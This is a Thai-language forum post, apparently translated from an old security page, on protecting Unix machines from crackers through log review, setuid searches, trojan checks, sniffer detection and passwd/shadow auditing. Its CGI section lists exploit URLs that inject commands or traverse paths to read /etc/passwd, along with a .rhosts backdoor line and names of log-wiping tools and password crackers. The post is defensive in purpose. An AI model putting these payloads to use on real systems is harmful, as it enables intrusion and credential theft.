ป้องกันคอมพิวเตอร์ (unix) ของคุณให้พ้นจาก ผู้บุกรุก

  • 0 Replies
  • 39 Views

0 Members and 1 Guest are viewing this topic.

ป้องกันคอมพิวเตอร์ (unix) ของคุณให้พ้นจาก ผู้บุกรุก


ป้องกันคอมพิวเตอร์ (unix) ของคุณให้พ้นจาก cracker

ที่มา infosecurity
แปลและเรียบเรียงมาจาก http://www.technotronic.com/unix.html

1.ติดตาม bug ใหม่ ๆ จาก website หรือ แหล่งข้อมูลทางอินเตอร์เน็ตที่มีการปรับปรุงข้อมูลบ่อย ๆ เช่น
BugTraq ( http://www.netspace.org/lsv-archive/bugtraq.html )
RootShell ( http://www.rootshell.com )

2.ตรวจสอบ CERT Intruder Detection Checklist สำหรับตรวจหาจุดอ่อนในระบบของคุณ

3.หมั่นตรวจสอบ update หรือ patch ใหม่ ๆ จากผู้จำหน่ายระบบปฏิบัติการที่คุณใช้อยู่

4.log ไฟล์
คุณอาจดู log ไฟล์ที่บันทึกการทำงานของคอมพิวเตอร์คุณได้จาก /etc/syslog.conf ซึ่งจะบอกว่า
ไฟล์ที่บันทึกการทำงานของคอมพิวเตอร์ของคุณอยู่ที่ไหนในระบบบ้าง
ต่อไปนี้เป็นรายชื่อของ log file ที่บันทึการทำงานของคอมพิวเตอร์ของคุณ

messages
messages จะบันทึกข้อมูลการทำงานหลาย ๆ อย่างไว้ โดยเฉพาะสิ่งที่ผิดปกติที่เกิดขึ้นควรได้รับ
การตรวจตรา และควรดูเหตุการณ์ที่เกิดขึ้นในช่วงเวลาที่ระบบถูกบุกรุกด้วย

xferlog
ถ้าระบบคอมพิวเตอร์ที่ถูกบุกรุกมีบริการ ftp (file transfer protocol) ด้วย xferlog จะบันทึกเกี่ยวกับ
ftp ไว้ อาจทำให้คุณรู้ข้อมูลมากขึ้นถึงเครืองมือที่ผู้บุกรุก upload มาไว้ที่ระบบของคุณ เช่นเดียวกับ
ข้อมูลที่ถูก download จากระบบของคุณ

utmp
ไฟล์นี้จะมีข้อมูลที่อยู่ในรูป binary ซึ่งจะบอกกว่าใครกำลัง log in อยู่บ้าง โดยใช้คำสั่ง who

wtmp
ไฟล์นี้อยู่ในรูป binary เช่นเดียวกับ utmp ซึ่งจะบอกว่า คนที่ log in เข้ามาในระบบใด้สำเร็จนั้นใช้ account
อะไร host อะไร เวลาเท่าไหร่ ใช้คำสั่ง last เพื่อดูข้อมูลเหล่านี้

secure
ระบบ unix บางเวอร์ชันจะบันทึก tcp wrapper messages ไว้ ทุกครั้งที่มีการติดต่อที่สำเร็จกับ service
ของระบบที่แปลกปลอม ให้ดู service ที่ผิดปกติ หรือจาก host ที่ไม่คุ้นเคย

ให้คุณตรวจสอบ log เหล่านี้เพื่อหาการติดต่อจากที่ผิดปกติ หรือการกระทำที่ผิดปกติ เช่นใช้คำสั่ง last เพื่อ
ดู last log หรือ lastcomm เพื่อดูคำสั่งที่ user ใช้ และ log อื่น ๆ ทั้งหมด

log เหล่านี้มักจะถูกลบร่องรอย และแก้ไขจากผู้บุกรุกโดยใช้โปรแกรมเหล่านี้
marry.c
zap.c
remove.c
cloak.c

5. หาไฟล์ setuid และ setgid (โดยเฉพาะที่ root เป็นเจ้าของ file) ทุกแห่งในระบบของคุณ ผู้บุกรุกมักจะ
ทิ้งไฟล์ /bin/sh หรือ /bin/time ที่ setuid ไว้ในระบบเพื่อให้สามารถได้สิทธิ์เท่า root ได้อีก
คุณอาจใช้คำสั่งเหล่านี้เพื่อหา ไฟล์ setuid และ setgid

find / -user root -perm -4000 -print
find / -group kmem -perm -2000 -print

ถ้าคำสั่ง find ของคุณสนับสนุน option -xdev คุณอาจใช้คำสั่งนี้ได้

find / -user root -perm -4000 -print -xdev

อีกวิธีหนึ่ง คือ ใช้คำสั่ง ncheck สำหรับหาไฟล์ setuid แต่ละ partition

ncheck -s /dev/rsd0g

6.Trojans
ตรวจสอบ ไฟล์ binary ของระบบของคุณว่าไม่ได้ถูกเปลี่ยนแปลง เพราะอาจจะมี trojan horse ในระบบของ
คุณก็ได้ trojan horse คือโปรแกรมดูเหมือนทำงานตามปกติ แต่ได้รับการเปลี่ยนแปลงให้มีการทำงานบางอย่าง
เพิ่มขึ้นหรือลดลงเพื่อให้เป็นประโยชน์ต่อผู้บุกรุกเอง เช่นซ่อนกิจกรรมของผู้บุกรุก ดัก username
และ password และ backdoor หรือประตูหลัง เพื่อให้สามารถเข้ามาในระบบได้อีก โปรแกรมที่ได้รับการเปลี่ยน
แปลง อาทิ เช่น login, su, telnet, netstat, ifconfig, ls, find, du, df, libc, sync หรือ ไฟล์อื่น ๆ ที่อ้างจาก
/etc/inetd.conf และโปรแกรมคำสั่งที่เกี่ยวข้องกับ network และระบบ , shared object libraries ดังนั้น
ให้คุณเปรียบเทียบ binary ไฟล์ของคุณกับ ระบบเดียวกันที่เชื่อถือได้ เช่น จากสื่อที่คุณใช้ install ระบบปฏิบัติ
การของคุณ ระวัง ระบบที่คุณ backup ไว้ด้วยเพราะอาจมี trojan มาก่อนแล้วก็ได้

ใช้โปรแกรม cmp, MD5, Tripwire หรือโปรแกรม checksum และ timestamp ที่มีการเข้ารหัส ในการ
ตราจหา trojan horse เพราะโปรแกรม sum ใน unix ไม่มีประสิทธิภาพเพียงพอที่จะตรวจสอบว่าเป็น trojan
horse หรือไม่ โปรแกรม trojan horse อาจจะสร้าง checksum และ timestamp ได้แบบเดียวกับ
โปรแกรมปกติ นอกจากนี้คุณอาจใช้ PGP เพื่อเข้ารหัส output ที่ได้จากโปรแกรม MD5 หรือ Tripwire
เพื่อใช้ในการอ้างอิงในอนาคต

7.Network Sniffer
เมื่อผู้บุกรุกได้สิทธิ์เท่า root ก็อาจจะลงโปรแกรมจำพวก sniffer/packet sniffer (network monitoring
program) เพื่อดักเอา username และ password ที่ไม่ได้เข้ารหัส ที่ผ่าน network นั้น

linsniff666.c
esniff.c
solsniff.c
sunsniff.c
sniffit
promisc.c ใช้สำหรับตรวจดูว่าในระบบของคุณมี sniffer run อยู่หรือไม่

8. passwd security
ตรวจไฟล์ /etc/passwd ในระบบของคุณ ดูการเปลี่ยนแปลงแก้ไข มี account แปลกปลอมหรือไม่ หรือ
account ที่ไม่มี password หรือ uid ที่เปลี่ยนไป (โดยเฉพาะ uid 0 ซึ่งเท่าให้ account นั้นมีสิทธิ์เท่ากับ root)

ohnsmith:naVwowMManasMMo:10:200:John Smith:/users/johnsmith:/bin/bash
^ ^ ^ ^ ^ ^ ^
| | | | | | +- User's
| | | | | | shell program
| | | | | +---- User's home directory
| | | | +----------------- User's real name
| | | +------------------------- User number (uid)
| | +----------------------------- User's group number (gid)
| +--------------------------------------- Hash of user's password
+--------------------------------------------------- Username

- Username เป็น login ซึ่งใช้ log in เข้าไปในระบบ
- Hash of user's password เป็นรหัสผ่านซึ่งได้เข้ารหัสไว้ เป็นเป้าหมายของการใช้โปรแกรมเพื่อถอด
หารหัสผ่าน

Shadow locations:

Unix Path Token
----------------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files//
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files//
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow

System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb
-----------------------------------------------------------------------------

โปรแกรมถอดรหัสผ่าน (password crackers)
Crack v5 (Source)
John the Ripper 1.5 dos
John the Ripper 1.5 win32
John the Ripper 1.5 linux
โปรแกรมถอดรหัสผ่านอื่น ๆ

ตรวจสอบระบบและ network configuration ของคุณ โดยเฉพาะ เครืองหมาย '+' และชื่อ host
ที่ไม่ได้เป็นชื่อ host ของระบบคุณ ในไฟล์ /etc/hosts.equiv, /etc/hosts.lpd, และ .rhosts ใน home
directory ของทุก account (โดยเฉพาะ account root, uucp, ftp และ account ที่เกียวข้องกับระบบ)
ไฟล์เหล่านี้จะต้องไม่กูกแก้ไขดัดแปลงได้โดยผู้ที่ไม่มีสิทธิ์ และรับรองได้ว่าไฟล์เหล่านี้มีอยู่ก่อนที่จะถูกบุกรุกและ
ถูกสร้างโดยผู้บุกรุกเข้าสู่ระบบ ดังตัวอย่าง

echo "+ +" > ~/.rhosts

rsh [ -l login ] [ -n ] host command

rlogin [ -E | -ex ] [ -l username ] [ -8 ] [ -L ] host

ดูทุกแห่งในระบบของคุณสำหรับไฟล์ที่แปลกปลอมหรือซ่อนไว้ (ไฟล์ที่ชื่อขึ้นต้นด้วย . และไม่แสดงให้เห็น
ด้วยการใช้คำสั่ง ls) ไฟล์หรือ directory เหล่านี้อาจใช้ซ่อนเครื่องมือหรือข้อมูล (จำพวก password crackers
password ไฟล์ ) เทคนิคที่ใช้กันทั่วไปในระบบ unix คือ เก็บไว้ใน directory ที่ซ่อนไว้ ในชื่อที่ผิดธรรมดา
เช่น '...' หรือ '.. ' (dot dot space) หรือ '..^G' (dot dot control-G), คำสั่ง find สามารถใช้หาไฟล์เหล่านี้
ได้ ดังตัวอย่างต่อไปนี้

find / -name ".. " -print -xdev

find / -name ".*" -print -xdev | cat -v

นอกจากนี้ไฟล์ที่ชื่อขึ้นต้นด้วย .xx หรือ .mail ก็เคยถูกใช้เช่นกัน

9.CGI
PHF

http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

phf exploit
phfscan.c
phf perl script ใช้ตรวจการใช้ exploit

PHP

http://"server name"/cgi-bin/php.cgi?/etc/passwd


php exploit
phpscan.c

CAMPAS
http://www.target.com/cgi-bin/campas?%0a/bin/cat%0a/etc/passwd

HTMLSCRIPT
http://www.target.com/cgi-bin/htmlscript?../../../../etc/passwd

Frontpage Exploit
http://www.target.com/_vti_pvt/service.pwd
http://www.target.com/~someuser/cool-logs/mlog.html?screen=[fully qualified path to any fileon the system]

WEBGAIS Exploit

telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of the string passed to the server, in this case xxx=90)
receiver=;mail+your_address\@somewhere.org

9.Security Analysis Tools

tcpwrappers เป็น network logger ที่บันทึก hostname ที่ทำการติดต่อกับระบบของเราไม่ว่าจะเป็นแบบ
telnet, ftp, rsh, rlogin, finger, อื่น ๆ มีความสามารถหลายอย่าง เช่น access control per host,
domain and/or service; detection of host name spoofing or host address spoofing; booby traps
to implement an early-warning system, supports the System V.4 TLI network programming
interface เป็นต้น

SATAN เครื่องมือตรวจสอบความปลอดภัยของ network สามารถเก็บรวมรวมข้อมูลเกี่ยวกับ remote host
มากเท่าที่จะสามารถทำได้โดยตรวจสอบ network service อย่างเช่น finger, NFS, NIS, ftp and tftp, rexd
และ service อื่น ๆ ที่เกี่ยวข้องกับความปลอดภัย โดยเฉพาะที่ setup หรือ config ไม่ถูกต้อง,bug ในระบบ
เป็นต้น

Netcat เป็น unix utility ที่ใช้อ่านและเขียนข้อมูลที่ส่งผ่าน การติดต่อทาง network สามารถใช้สร้าง connection
ชนิดใดก็ได้ตามที่ต้องการและมีความสามารถหลายอย่างที่น่าสนใจ

EOF



^-^ nostalgia ^-^

http://www.thaiadmin.org/board/index.php?topic=33040.0

by: Os555